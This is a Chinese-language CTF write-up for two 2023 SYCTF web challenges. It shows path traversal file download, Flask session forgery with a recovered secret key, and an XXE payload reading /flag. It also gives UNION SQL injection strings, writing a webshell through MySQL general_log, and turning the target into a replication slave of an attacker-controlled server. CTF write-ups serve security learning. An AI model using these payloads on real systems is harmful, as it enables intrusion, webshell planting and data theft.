首页 > 其他分享 >2023 安洵杯SYCTF Web-writeup

2023 安洵杯SYCTF Web-writeup

时间:2023-06-13 13:11:56浏览次数:55  
标签:Web .. mysql 安洵 game SYCTF 服务器 MASTER select

2023 安洵杯SYCTFWeb-writeup

Web

文末:附官方wp,失效可留言联系

CarelessPy

首页的源代码中存在注释,提供了两个功能点。

<!-- 好像有 /eval 路由 和 /login 路由 是拿来干什么的呢? -→

还有一张图片,访问图片发现请求路径:会请求 /download?file=zayu2.jpg,这里能任意下载文件

总共三个点:/eval /login /download

1./eval 页面回显

试试get传参cmd吧 ['home', 'opt', 'lib', 'lib64', 'boot', 'tmp', 'usr', 'etc','mnt', 'sys', 'proc', 'bin', 'dev', 'run', 'root', 'var', 'media', 'sbin','srv','flag', 'app', '.dockerenv', 'start.sh']

可以看到输出的是文件目录,有点类似于 ls / 的结果
试试传参 /eval?cmd=/app 可以发现输出了app目录下的文件
2./login

有一个登录页面 弱密码登录不了,抓包发现有 session 内容

eyJpc2xvZ2luIjpmYWxzZX0.ZFp4VQ.WBaliIlS52fNouAtTbu5DduOpyA

估计就是伪造session 才能登录 首先需要得到 secret_key

所以总结/eval能显示目录 /login伪造session登录 /download下载所需文件

构造去下载提示的start.sh

image-20230613122911124

继续构造下载pyc文件../../../../../../../app/__pycache__/part.cpython-311.pyc

将其进行反编译获取源码

得到 part.py 源码,拿到 secret_key

image-20230613122946932

得到secret_key进行伪造登录login接口

python3 flask_session_3.py encode -s "o2takuXX_donot_like_ntr" -t "{'islogin':True}"
eyJpc2xvZ2luIjp0cnVlfQ.ZIRyRA.okjKxL2LmV5SlZOjFeYfbjs1p6k

然后去 /login 实现登录操作

注意:
这里要传参 username 和 password 才能实现登录
但是不用管传的啥内容 传空值也行 但必须得有

image-20230613123206691

image-20230613124523347

然后去 /th1s_1s_The_L4st_one 路由
发现是 XML 页面
抓包后测试发现 处有回显位
直接用 file协议 xxe注入 读取flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<result><ctf>111~</ctf><web>&xxe;</web></result>

image-20230613123315810

Confronting robots

查看源码发现一行提示
回到页面可以看出是一个sql注入,并且可以找到注入点1'or 1=1#

image-20230613123443068

这里直接联合注入或者sqlmap一把梭就行,

爆库,爆表,爆列
1'union select database()#
1'union select group_concat(table_name) from information_schema.tables wheretable_schema='robot_data'#
1'union select group_concat(column_name) from information_schema.columns wheretable_name='name'#
1'union select group_concat(username) from robot_data.name#

最后数据库存放信息:

image-20230613123603388

访问:

image-20230613123743418

点击传输:

image-20230613123823881

看源代码发现了猜拳的规则

image-20230613123846154

必须全对,然后在首页的命令框那发现了sql注入,注进去之后发现是空白的,这表明了我们要往数据库里写东西,从而达到控制10次猜拳的答案。

看到两种思路:1.日志写shell 2.主从复制

1.日志写shell

个人觉得算非预期解,出题者应该把web目录设置为不可写。

开启全局的通用查询日志之后直接日志写马导致WEBSHELL

set global general_log='on'

set global general_log_file='/var/www/html/sEcR@[email protected]'

image-20230613124714631

然后直接select记录一次马即可shell

蚁剑连接game.php得到flag

image-20230613124736873

2.通过尝试发现insert等命令是不行的,所以想到还有一种可以同步数据的方法:主从复制

查看数据库版本:
select version();

在自己vps上起一个相同版本的mariadb,修改默认配置文件vim /etc/mysql/my.cnf允许远程访问并启用二进制日志
server-id = 1 log_bin = /var/log/mysql/mariadb-bin
service mysql restart
自己的vps作为主,题目环境作为从
主服务器执行

CREATE USER 'atest'@'%' IDENTIFIED BY 'testtest';
grant replication slave on . to 'atest'@'%';
flush privileges;

使用select database(); show tables; desc game; 等查询命令将从服务器上的数据库结构一比一复刻到
主服务器上

image-20230613124915290

CREATE DATABASE IF NOT EXISTS game_data;
use game_data
CREATE TABLE IF NOT EXISTS game ( round int(20) , choice varchar(256) ) ;

在主服务器mysql中执行

show master status;

记录下来 File和 Position

mysql-bin.000001 1376
在从服务器(题目环境)命令框中输入

CHANGE MASTER TO MASTER_HOST='主服务器ip', MASTER_USER='atest',
MASTER_PASSWORD='testtest', MASTER_LOG_FILE='mariadb-bin.000001(记录的值)',
MASTER_LOG_POS=1365(记录的值);

start slave;
show slave status;

显示这个表示成功连接上
主服务器中执行
INSERT INTO game ( round , choice ) VALUES ('1', 'R'), ('2', 'R'),('3', 'R'), ('4', 'R'),('5', 'R'), ('6', 'R'),('7','R'), ('8', 'R'),('9', 'R'), ('10', 'R');
在开始挑战处输入对应的答案得到flag

官方wp:https://www.kdocs.cn/l/cpcke0jhBRxh

参考:12

标签:Web,..,mysql,安洵,game,SYCTF,服务器,MASTER,select
From: https://www.cnblogs.com/via-liabs/p/17477242.html

相关文章

  • WebRTC十周年、Space X成功对接国际空间站、TikTok复制品Zynn或有快手支持|Decode the
    >>顺便祝大家六一快乐<<DecodetheWeek≠音视频技术周刊 01 SpaceX载人飞船首发成功并与国际空间站对接北京时间5月31日,SpaceX首次载人火箭发射成功,而这只是SpaceX创始人ElonMusk庞大的商业航天计划中的一环。在经历19个小时的飞行后,SpaceX龙飞船与国际空间站成功对接,对接......
  • WebRTC的现状和未来:专访W3C WebRTC Chair Bernard Aboba(下)
    正文字数:6285 阅读时长:9分钟每年,我都会在IIT-RTC会议上与许多WebRTC标准人员进行交流,这场疫情显然让今年有所不同。虽然我们在今年的KrankyGeek会议上确实谈到了标准化和“WebRTC的未来”,但我们没有时间深入研究更多细节,所以我们将在这里讨论。作者/ ChadHart原文链接/http......
  • 新的Azure通信服务(ACS)如何实现WebRTC?
    正文字数:3144 阅读时长:4分钟Housepaty的软件工程师GustavoGarcia,他对Azure通信服务(ACS)进行了全面的评估,包括从浏览器兼容性、编解码器到带宽估计算法…..与主要对手相比成熟度还有差距。文 / GustavoGarcia译 / HelenLyu原文链接/ https://webrtchacks.com/how-does-azu......
  • java WebUploader 分片上传
    ​ 对于大文件的处理,无论是用户端还是服务端,如果一次性进行读取发送、接收都是不可取,很容易导致内存问题。所以对于大文件上传,采用切块分段上传,从上传的效率来看,利用多线程并发上传能够达到最大效率。 本文是基于springboot+vue实现的文件上传,本文主要介绍服务端实现文件......
  • php WebUploader 分片上传
    ​ 前言文件上传是一个老生常谈的话题了,在文件相对比较小的情况下,可以直接把文件转化为字节流上传到服务器,但在文件比较大的情况下,用普通的方式进行上传,这可不是一个好的办法,毕竟很少有人会忍受,当文件上传到一半中断后,继续上传却只能重头开始上传,这种让人不爽的体验。那有没有......
  • 安洵杯SYCCTF2023 writeup
    一、MISC1.sudoku_easy简单的数独交互,几个小注意点,每次发送level之后sleep5秒才会返回题目将形如---------------------800103720023840650410006008300001062000052407072060090160000375205019846000030000---------------------转换成二维数组进行解数独......
  • Web安全-渗透测试-信息收集02
    站点搭建,WAF信息收集在安全测试中,信息收集是非常重要的一个环节,此环节的信息将影响到后续的成功几率,掌握信息的多少将决定发现漏洞机会大小,换言之决定着是否能完成目标的测试任务。也可以很直接的说:渗透测试的思路就是从信息收集这里开始站点搭建分析目录型站点目录型站......
  • webkit简介
    WebKit是一款开源的浏览器引擎,主要用于渲染HTML网页和执行JavaScript代码。WebKit起源于苹果公司,最初是为了开发Safari浏览器而创建的。现在,它已经成为许多浏览器(如苹果的Safari、部分版本的谷歌Chrome等)和应用程序背后的核心渲染引擎。WebKit主要包含两个核心组件:1.WebCore:负责......
  • 数据存储的两种方式:cookie和webStorage存储
    一、sessionstorage(会话存储)1、添加数据:SessionStorage.setItem('key','value');该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。2、获取数据:SessionStorage.getItem('key');该方法接受一个键名作为参数,返回键名对应的值。如果获取不到......
  • 2022 360强国杯决赛Web-writeup
    Webezxunrui分析1、下载附件开始审计迅睿路由规则不过多介绍了,需要选手自行分析代码逻辑,这里只公布漏洞点。控制器在如下位置。在API控制器中。存在qrcode操作用来生成二维码,会获取略缩图参数,如图。跟进一下发现存在curl的调用,存在SSRF漏洞。2、SSRFFastCGIRCE......